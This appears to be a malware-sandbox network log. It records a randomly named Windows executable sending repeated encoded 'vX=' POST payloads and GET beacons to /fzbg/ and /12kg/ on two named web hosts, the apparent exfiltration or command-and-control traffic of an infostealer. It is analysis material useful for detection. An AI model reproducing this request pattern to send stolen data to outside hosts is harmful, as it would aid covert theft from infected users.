Jul 3, 2024 17:39:00.686530113 CEST	2578	OUT	POST /fzbg/ HTTP/1.1 Host: www.fundraiserstuffies.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.fundraiserstuffies.com Referer: http://www.fundraiserstuffies.com/fzbg/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 6a 52 77 53 61 69 7a 58 52 43 56 45 67 30 38 72 43 52 4d 42 72 36 48 45 6d 6b 73 43 33 55 6b 2f 67 54 74 4b 35 7a 34 70 37 4e 52 7a 72 63 62 6b 5a 43 68 47 72 50 61 52 6c 4d 79 36 4c 56 77 47 37 51 30 6a 4f 52 72 64 49 38 6f 30 64 51 63 75 4a 67 66 36 46 67 52 45 44 37 32 67 71 4e 52 75 67 73 6b 53 4c 64 2b 44 44 4c 68 69 68 61 75 44 77 66 48 53 44 33 77 7a 77 44 61 4e 56 46 4f 74 63 4a 76 69 66 4b 4e 68 76 4c 4e 42 71 46 78 48 36 67 2f 4f 6b 76 43 6c 37 33 7a 6a 4f 70 6d 33 33 44 4c 56 59 68 6b 35 31 71 38 72 37 55 2b 68 46 43 76 44 49 58 66 61 75 70 33 75 4a 41 52 55 2f 7a 53 72 74 49 4a 57 6f 47 42 38 56 6b 6b 37 6e 32 6c 45 66 33 69 2b 5a 50 74 4f 2b 76 55 78 2b 5a 79 66 4c 52 55 50 68 52 70 46 51 41 36 66 39 70 62 6c 71 72 46 37 47 42 48 66 4c 4d 58 63 6e 6b 68 49 42 36 6e 53 4c 6f 76 32 79 6b 63 35 66 6b 2f 30 7a 6d 49 41 58 5a 38 4f 48 48 51 66 4b 2b 53 79 67 79 47 54 37 52 6f 57 59 49 41 30 74 6f 64 66 38 44 51 34 6e 72 62 73 63 6b 62 69 49 31 53 68 6c 75 46 32 58 4d 2b 4b 32 42 64 [TRUNCATED] Data Ascii: vX=jRwSaizXRCVEg08rCRMBr6HEmksC3Uk/gTtK5z4p7NRzrcbkZChGrPaRlMy6LVwG7Q0jORrdI8o0dQcuJgf6FgRED72gqNRugskSLd+DDLhihauDwfHSD3wzwDaNVFOtcJvifKNhvLNBqFxH6g/OkvCl73zjOpm33DLVYhk51q8r7U+hFCvDIXfaup3uJARU/zSrtIJWoGB8Vkk7n2lEf3i+ZPtO+vUx+ZyfLRUPhRpFQA6f9pblqrF7GBHfLMXcnkhIB6nSLov2ykc5fk/0zmIAXZ8OHHQfK+SygyGT7RoWYIA0todf8DQ4nrbsckbiI1ShluF2XM+K2Bdfrq9ZJ2vSxcsV9vMghiDntmrhjezTXga4Dq+HjNLGfyvktz6EDQcUDeTKLTB8tOaSsCRIpw4Gn/uaxHzHK114ObgvWF9lveaMDPUw3nwz+2icZUPVU5alXblkSbBPx0oIODqsRqq41gcZSebhh/2N/iZkbDdliBY1PdOX4W37pfg1rZ7bGmY2Otj3nO8JeYFVrBTmnSylrQ6z2vO9lkPId30AqLq0VlZkNMZjYtzhCRWQNTCEROyZU87nC/rjGjnqkIWADnR9eLQfJkysL/bLvPCP3k8lWnbS+5vS8maCpeYmhvSNeClqumm0pZoImufBzh466GtX/8ZA/FEx6jCz4lIUxlP+fkZxx5xnOxuoc5+UtU9fv24/qlHwwsYjnt+CMPxjHJsH4E1ykTJ2hdM5/xjkjYva8JIUbb3KIAKVDWsoEb1gmA6SBl516xZ8NIdGyp0+VoiSpUTHE5rBObfeFM5YuWU4UVP4vzAlHD5sgaOUhRyN4gMCf9YWo13braOzj7jXukLTT4b2aoI1fdrt+1DekbzOx5i9PgVGOnOuwlGc0WUU7xmK4Z74wzJuq0Yqh69WOdzdIstSLhju0YdK3yjZraNYkns8ie6cN8s+1ES/ns5WP18FRuC0d8BlunzSe1xaxtCSwznAfVeV5eLOKMZTP8UC98btM [TRUNCATED]
Jul 3, 2024 17:39:00.686599016 CEST	10312	OUT	Data Raw: 2f 79 6d 6d 4f 43 56 59 56 39 59 42 6a 38 31 4f 73 46 5a 2f 72 76 6f 44 52 69 75 59 37 31 74 4d 51 64 30 6c 6b 6e 44 57 76 53 4d 47 48 39 76 43 51 69 61 55 30 6d 32 59 68 49 70 30 2b 6f 4e 51 44 44 52 48 78 41 55 42 4e 4a 6a 33 77 64 33 79 7a 56 Data Ascii: /ymmOCVYV9YBj81OsFZ/rvoDRiuY71tMQd0lknDWvSMGH9vCQiaU0m2YhIp0+oNQDDRHxAUBNJj3wd3yzVaLs6KeR6Am2syyf7mydDxx+8B9bpRYZgnyE0b16FxCocWndzDWQqCktlSAveob5Z7ncHV0EhVG7a/B4kT49H7IR8fBLTlqJo/e5Gbl6UlYwkp9JBDpXbRJTcMOSZ2XBOndJRWW5zxrtccXVpktSboB8/BH9z7zgfn
Jul 3, 2024 17:39:00.805247068 CEST	2578	OUT	Data Raw: 63 6a 45 59 75 32 41 36 39 72 49 36 36 33 54 74 52 56 75 61 6d 68 39 79 55 6c 6c 76 31 61 6e 53 64 4d 6f 6b 78 44 43 6c 51 44 56 65 43 41 6f 57 4e 74 38 75 4f 4f 66 68 49 31 67 36 6b 46 74 6c 44 76 5a 30 76 63 55 6c 34 61 6b 42 56 4a 46 35 4f 42 Data Ascii: cjEYu2A69rI663TtRVuamh9yUllv1anSdMokxDClQDVeCAoWNt8uOOfhI1g6kFtlDvZ0vcUl4akBVJF5OBHsaMWcebCwXJtmnRUvYFLuvvaZYROqCz6p7wQdx4Yu+lFevmu6O2e1ZnTRByKBNrN8fS3+aALPLp+utzfJ7paIhQRIqBPss1W3JF+THskh5NOElN+ouPVK31Bzdcky3yzKijkQtw3KTnP7PaFUDejts/l3nkrcZDS
Jul 3, 2024 17:39:00.805408955 CEST	1289	OUT	Data Raw: 62 68 2f 31 6a 70 35 49 31 32 6a 30 59 45 33 53 73 79 79 32 53 32 30 71 61 46 67 4c 39 68 75 6e 45 6a 2b 66 2b 43 4a 66 48 47 51 56 45 45 7a 45 4f 6c 57 4c 44 58 6d 73 41 67 54 76 48 57 6d 6b 77 76 45 4a 39 50 6d 2f 79 41 30 39 30 6f 49 6c 78 5a Data Ascii: bh/1jp5I12j0YE3Ssyy2S20qaFgL9hunEj+f+CJfHGQVEEzEOlWLDXmsAgTvHWmkwvEJ9Pm/yA090oIlxZDv5av3UpneNzxFRE7bDSs4SyP6GOjmPqIJtZPh/7ag/TdVnZDQGjBHvl5S0Pxxjc+IeBz33ATGkbXsvX3oBeWddjXTyiLkpBUUaBi0lT4CLyaCkEB1sHhduIIaxyfn588HqqYeInGzE9bNNlOiGTKfzpexRShDKsM
Jul 3, 2024 17:39:00.805560112 CEST	18046	OUT	Data Raw: 4f 37 66 38 52 76 4c 31 35 41 2b 58 6a 67 6e 65 63 72 35 6e 4a 4f 2f 62 41 6d 56 46 2b 58 64 4a 51 6c 2b 39 53 6b 31 44 67 77 50 2f 71 43 57 57 52 65 31 6c 6d 33 48 52 56 38 36 73 53 55 59 6b 64 54 6d 4e 32 6b 4c 59 37 30 41 30 71 61 31 72 4e 37 Data Ascii: O7f8RvL15A+Xjgnecr5nJO/bAmVF+XdJQl+9Sk1DgwP/qCWWRe1lm3HRV86sSUYkdTmN2kLY70A0qa1rN7Qb0/MWictVTFdRizQDHRKyOB5AM4r1z+bMmU24xec3BjwA7+XtblwJWiA5vjKfPDqyGC71brcyLudKAVUm//LIqT7x90/Pdh60LJpngywusGXZMhLmBhlIHX/l6I6TNb1F4DbRYBVvOBzlqG/Zk/pJr2ERc1sB5o1
Jul 3, 2024 17:39:00.805762053 CEST	3867	OUT	Data Raw: 46 54 44 70 6d 4c 63 4e 67 64 56 70 68 66 58 43 36 66 76 55 74 46 78 48 73 66 6c 4f 39 36 41 66 67 68 36 34 5a 63 77 72 43 4e 55 6d 64 4e 33 51 4a 4f 4a 76 30 31 34 68 77 6b 4c 6e 67 59 4c 30 62 6e 6d 50 77 31 61 45 6e 6a 51 55 4f 66 2b 2b 68 63 Data Ascii: FTDpmLcNgdVphfXC6fvUtFxHsflO96Afgh64ZcwrCNUmdN3QJOJv014hwkLngYL0bnmPw1aEnjQUOf++hcDgGBbL32QMxQLUnm12vkJWHD+SHMVlEFoqXV5eIYG73Nzj+idmDOrqaa2iiSriVLML59IlzphVAYgfvns3lUGOwFPiA5/LOzlpxW4jQKFRI+VBA29BgPmU5JLA/mr8By/BEf+VRbCNPfqurg3ZDJYNuvqQN0NKB5H
Jul 3, 2024 17:39:00.924052000 CEST	2578	OUT	Data Raw: 38 6a 79 42 2b 2b 78 52 58 4c 47 4f 6a 61 68 41 47 46 79 71 41 30 59 72 4f 63 32 51 56 41 53 31 63 6e 70 4a 35 4c 69 48 76 30 51 56 42 71 74 62 34 54 56 62 67 58 45 58 43 31 70 75 4b 4c 7a 35 7a 46 37 32 72 68 31 59 61 4e 6d 52 6e 52 33 67 41 38 Data Ascii: 8jyB++xRXLGOjahAGFyqA0YrOc2QVAS1cnpJ5LiHv0QVBqtb4TVbgXEXC1puKLz5zF72rh1YaNmRnR3gA8dVXH8Edm5M3ApxIHjA9nKWMevXocya4Dvm7ZkA6Yj8WMWXI4Bps4twx2AFXFwRWE+YWnpVSOeKObw+SVzo+wBpwZJMSjwOSkTDvubgsZgwPmgPdnpg/01HUEKcKPjEFj5E7kcBFAVBJuUfoJgP4DkN/8IRRNeHX1n
Jul 3, 2024 17:39:00.924177885 CEST	1289	OUT	Data Raw: 76 50 59 32 75 43 5a 4e 57 51 79 38 2f 78 58 61 45 6a 75 4d 63 37 44 44 34 41 69 37 55 4b 2f 49 4d 36 68 33 6a 68 76 62 77 55 6b 77 37 36 32 2b 74 49 6f 75 7a 54 41 65 33 6d 57 33 67 33 44 79 33 42 63 49 70 79 33 6e 46 2b 51 62 71 2f 36 68 38 45 Data Ascii: vPY2uCZNWQy8/xXaEjuMc7DD4Ai7UK/IM6h3jhvbwUkw762+tIouzTAe3mW3g3Dy3BcIpy3nF+Qbq/6h8EmXKlJd3kj6K+CiWDFTpgY23ZNIQQg+jLF8Bp1fe4NPxk6P41SUK5J6DbMuQBoJdR8fzkUsIBXX1jCW+kssK8ivtigH62YPMh/aLQ/j86wkICfoEbdHm1N656B/TnmogGWikDdXYKum+RXq+GlxAQ0WAnw51vVWDBd
Jul 3, 2024 17:39:00.924257994 CEST	2578	OUT	Data Raw: 2f 6e 57 43 51 72 71 4a 48 49 58 4e 37 2b 46 75 59 50 48 78 74 58 51 41 63 6c 56 4e 49 70 66 68 51 6c 43 71 4b 46 6b 63 4c 41 52 50 6e 41 46 52 69 47 48 4e 63 6a 4b 51 54 6b 73 68 5a 57 45 35 31 61 2f 4f 67 43 48 6a 76 35 4b 48 49 65 42 74 54 31 Data Ascii: /nWCQrqJHIXN7+FuYPHxtXQAclVNIpfhQlCqKFkcLARPnAFRiGHNcjKQTkshZWE51a/OgCHjv5KHIeBtT1eY1PVEPi4BL38MumL8VHAB2GNaez3MBlAEbRR4FBs4qB8oUHycrTYZkLLYOhNDueGYZRXW13TVuy0QnPeKuSyyFGlbzlIz7hOUiZt0Ipn5DDIi5htmfriX5pWF6qFuGDUfjHkdqa1v0BuXm+I+FENlAqOVJZfGfdR
Jul 3, 2024 17:39:00.924424887 CEST	1289	OUT	Data Raw: 4f 36 6d 65 77 58 48 4a 63 51 63 78 59 59 6a 49 49 37 46 69 4a 53 68 45 6f 37 51 47 73 4c 57 31 30 59 67 45 6e 73 48 72 46 43 31 7a 47 4a 52 74 70 37 30 73 53 71 65 57 75 55 55 30 58 54 4d 59 6f 4e 6e 34 4a 62 51 77 5a 4d 56 59 32 52 59 36 6f 6b Data Ascii: O6mewXHJcQcxYYjII7FiJShEo7QGsLW10YgEnsHrFC1zGJRtp70sSqeWuUU0XTMYoNn4JbQwZMVY2RY6ok3b4cN476t1TKYi93NCVEnlQmeE4tFGqaJ/g6G+p87HE/0gk2BVkAUf0x8bwbKTpNp65lBprpqkzZ0Tkyy9oDo4yjnukZeKSDJJVyGWZMNvw2EMCOy5IkIs0Vu+y9ZHn+UjEgKTN/ZrUZnBlA4HQeOIcsyjO0QCiKe
Jul 3, 2024 17:39:00.924580097 CEST	7138	OUT	Data Raw: 73 6e 54 34 7a 62 67 39 48 73 62 71 75 64 48 34 73 56 4f 44 4c 37 2b 57 6e 6b 78 73 44 68 49 58 53 47 6d 51 46 66 71 43 58 4d 77 6a 63 35 71 49 4c 42 6e 66 45 66 53 54 2b 57 78 6e 53 6e 65 6c 2b 63 77 35 77 78 6c 43 35 2f 39 56 62 52 38 48 6f 44 Data Ascii: snT4zbg9HsbqudH4sVODL7+WnkxsDhIXSGmQFfqCXMwjc5qILBnfEfST+WxnSnel+cw5wxlC5/9VbR8HoDTxGoprHtSO37+A+JSLJz5KtGV3P8GtsZNa8pNSQvmuPWYg0f61WC/7B/Yiw3QEsYRlrqdtjUiYXsfbkDV2e8EC1Y7v6y4xjS9BKH6gdFieGsHeixBLdBFQvgseAbfPORfg0ndZuWisEwFkgDovyyoTbQtTPbIODZ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49814	3.33.130.190	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:39:03.353831053 CEST	530	OUT	GET /fzbg/?vX=uTYyZSOtPBVL0hIsKgpi95HQtVEr7RxE1GtfhiQgzt00yp3pQHZ/yduqmfXPDQ0x8hM1I2y7MNxQRHVIE3PkPDlbAMuSsvV/gP9PT/eZTJpyk9nI4JynE2g=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.fundraiserstuffies.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:39:03.495410919 CEST	397	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 03 Jul 2024 15:39:03 GMT Content-Type: text/html Content-Length: 257 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 76 58 3d 75 54 59 79 5a 53 4f 74 50 42 56 4c 30 68 49 73 4b 67 70 69 39 35 48 51 74 56 45 72 37 52 78 45 31 47 74 66 68 69 51 67 7a 74 30 30 79 70 33 70 51 48 5a 2f 79 64 75 71 6d 66 58 50 44 51 30 78 38 68 4d 31 49 32 79 37 4d 4e 78 51 52 48 56 49 45 33 50 6b 50 44 6c 62 41 4d 75 53 73 76 56 2f 67 50 39 50 54 2f 65 5a 54 4a 70 79 6b 39 6e 49 34 4a 79 6e 45 32 67 3d 26 5f 42 37 3d 4c 78 79 78 57 72 6a 38 6b 72 69 30 67 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?vX=uTYyZSOtPBVL0hIsKgpi95HQtVEr7RxE1GtfhiQgzt00yp3pQHZ/yduqmfXPDQ0x8hM1I2y7MNxQRHVIE3PkPDlbAMuSsvV/gP9PT/eZTJpyk9nI4JynE2g=&_B7=LxyxWrj8kri0gh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49815	84.32.84.192	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:39:17.207076073 CEST	785	OUT	POST /12kg/ HTTP/1.1 Host: www.paliinfra.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.paliinfra.com Referer: http://www.paliinfra.com/12kg/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 49 50 62 46 2f 47 43 73 31 35 58 68 39 78 6e 6e 74 2b 4c 2f 4c 52 57 33 47 42 6c 34 51 48 35 36 6f 74 57 6b 6e 59 51 6e 48 58 33 70 79 69 6c 6b 45 62 58 68 66 59 7a 65 2b 77 34 67 39 2f 39 65 67 47 6c 57 58 32 57 54 65 63 78 67 47 76 68 76 4c 32 5a 47 73 71 69 45 6e 6d 6c 68 66 37 73 73 42 42 67 42 58 78 31 6b 48 4d 63 73 4c 6b 33 54 62 48 33 6e 33 5a 53 39 39 6c 32 6c 30 6b 45 37 6e 66 68 6e 4e 49 33 5a 30 7a 4a 55 64 58 39 4e 44 57 43 71 6f 69 65 68 43 67 65 63 68 46 44 55 66 4f 70 51 4c 71 5a 4b 4e 59 78 72 6f 33 4b 6c 6f 61 64 7a 4c 68 59 32 55 6c 7a 43 4f 6f 56 49 46 67 3d 3d Data Ascii: vX=IPbF/GCs15Xh9xnnt+L/LRW3GBl4QH56otWknYQnHX3pyilkEbXhfYze+w4g9/9egGlWX2WTecxgGvhvL2ZGsqiEnmlhf7ssBBgBXx1kHMcsLk3TbH3n3ZS99l2l0kE7nfhnNI3Z0zJUdX9NDWCqoiehCgechFDUfOpQLqZKNYxro3KloadzLhY2UlzCOoVIFg==
Jul 3, 2024 17:39:18.127497911 CEST	1211	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Wed, 03 Jul 2024 15:39:17 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.paliinfra.com/12kg/ platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 3b7db2fe631920e3f27fa80e3000aa47-asc-edge6 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.644 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49816	84.32.84.192	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:39:20.021413088 CEST	1125	OUT	POST /12kg/ HTTP/1.1 Host: www.paliinfra.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.paliinfra.com Referer: http://www.paliinfra.com/12kg/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 49 50 62 46 2f 47 43 73 31 35 58 68 2f 51 33 6e 76 66 4c 2f 61 78 57 30 66 42 6c 34 65 6e 35 2b 6f 74 71 6b 6e 61 38 33 48 46 6a 70 79 43 31 6b 46 5a 76 68 65 59 7a 65 6d 41 34 68 77 66 39 4a 67 47 35 6f 58 30 53 54 65 66 4e 67 48 65 42 76 4b 47 5a 42 6a 36 69 48 67 6d 6c 67 62 37 73 69 42 42 73 37 58 7a 4a 6b 47 38 77 73 4b 68 62 54 52 32 33 6d 7a 35 53 42 32 46 32 36 2b 45 45 6c 6e 66 39 46 4e 4a 66 6a 30 68 56 55 65 7a 78 4e 43 57 43 70 69 53 65 71 4d 77 66 6f 73 32 32 62 52 4f 52 7a 4e 34 4a 69 42 5a 74 54 6e 6d 57 66 78 35 31 33 58 44 59 75 56 33 58 56 41 4d 59 44 62 6a 6b 52 78 4c 4a 35 71 58 68 5a 31 34 58 75 49 38 68 34 48 39 63 42 65 42 54 35 5a 70 57 78 4b 61 59 53 67 31 5a 53 53 66 57 2b 6c 6e 43 31 41 75 52 69 2f 74 63 4c 6b 74 68 42 6b 32 62 58 54 50 52 53 66 4d 30 38 52 2f 39 54 42 42 50 76 59 5a 48 53 78 41 50 66 34 51 64 4c 4e 71 35 72 71 6e 2f 61 6e 46 53 56 47 6c 47 77 56 6d 66 39 31 79 75 4a 4d 73 55 45 63 32 6c 5a 6c 50 45 38 4c 6d 53 6b 32 30 69 71 43 31 43 52 72 45 2b [TRUNCATED] Data Ascii: vX=IPbF/GCs15Xh/Q3nvfL/axW0fBl4en5+otqkna83HFjpyC1kFZvheYzemA4hwf9JgG5oX0STefNgHeBvKGZBj6iHgmlgb7siBBs7XzJkG8wsKhbTR23mz5SB2F26+EElnf9FNJfj0hVUezxNCWCpiSeqMwfos22bRORzN4JiBZtTnmWfx513XDYuV3XVAMYDbjkRxLJ5qXhZ14XuI8h4H9cBeBT5ZpWxKaYSg1ZSSfW+lnC1AuRi/tcLkthBk2bXTPRSfM08R/9TBBPvYZHSxAPf4QdLNq5rqn/anFSVGlGwVmf91yuJMsUEc2lZlPE8LmSk20iqC1CRrE+h0agVhXGV5Mrc+pfdah4Q1We/RLyYG/TsVj40t4hh//NMp1UJpV/YyikXy6S436Yh8B6pY03NdC4DZuwCkdp+CgUKCp94dttGQrPHm/qQUVg5/2iK5bpDv+rYq4CC/Dg1OW8Pqn3Kp3CRw5OVaSc3EB3MAdFtWx6SKA+z87UytvnZR94giawwLhHp/xJASQpuLgO5soI=
Jul 3, 2024 17:39:20.926676989 CEST	1211	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Wed, 03 Jul 2024 15:39:20 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.paliinfra.com/12kg/ platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: d98ea308764777e3b09062362b1f36ca-asc-edge4 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.641 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49817	84.32.84.192	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:39:22.826396942 CEST	7734	OUT	POST /12kg/ HTTP/1.1 Host: www.paliinfra.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.paliinfra.com Referer: http://www.paliinfra.com/12kg/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 49 50 62 46 2f 47 43 73 31 35 58 68 2f 51 33 6e 76 66 4c 2f 61 78 57 30 66 42 6c 34 65 6e 35 2b 6f 74 71 6b 6e 61 38 33 48 45 62 70 7a 78 74 6b 45 2b 44 68 64 59 7a 65 34 77 34 6b 77 66 39 55 67 47 78 73 58 30 50 6b 65 5a 42 67 48 4e 4a 76 4a 30 42 42 76 61 69 61 73 47 6c 69 66 37 73 32 42 42 67 4a 58 7a 4e 30 48 4d 45 73 4c 68 4c 54 62 6c 66 6e 37 4a 53 39 32 46 32 6d 36 45 45 58 6e 66 6f 41 4e 4a 44 6a 30 6a 68 55 4d 57 74 4e 41 46 61 70 72 69 65 74 47 51 66 5a 6d 57 32 2b 52 4f 46 6e 4e 34 4a 59 42 64 39 54 6e 6c 65 66 32 49 31 30 57 6a 59 75 63 58 58 55 45 4d 63 48 62 6a 35 53 78 49 56 35 71 56 68 5a 6e 6f 58 75 4f 64 68 2f 41 64 63 48 50 52 54 71 49 35 61 70 4b 5a 6b 67 67 30 39 53 56 76 43 2b 30 41 75 31 54 4e 4a 69 6b 74 63 4a 75 4e 68 73 75 57 62 4c 54 50 41 78 66 4d 55 47 52 38 52 54 41 67 76 76 4b 6f 48 56 35 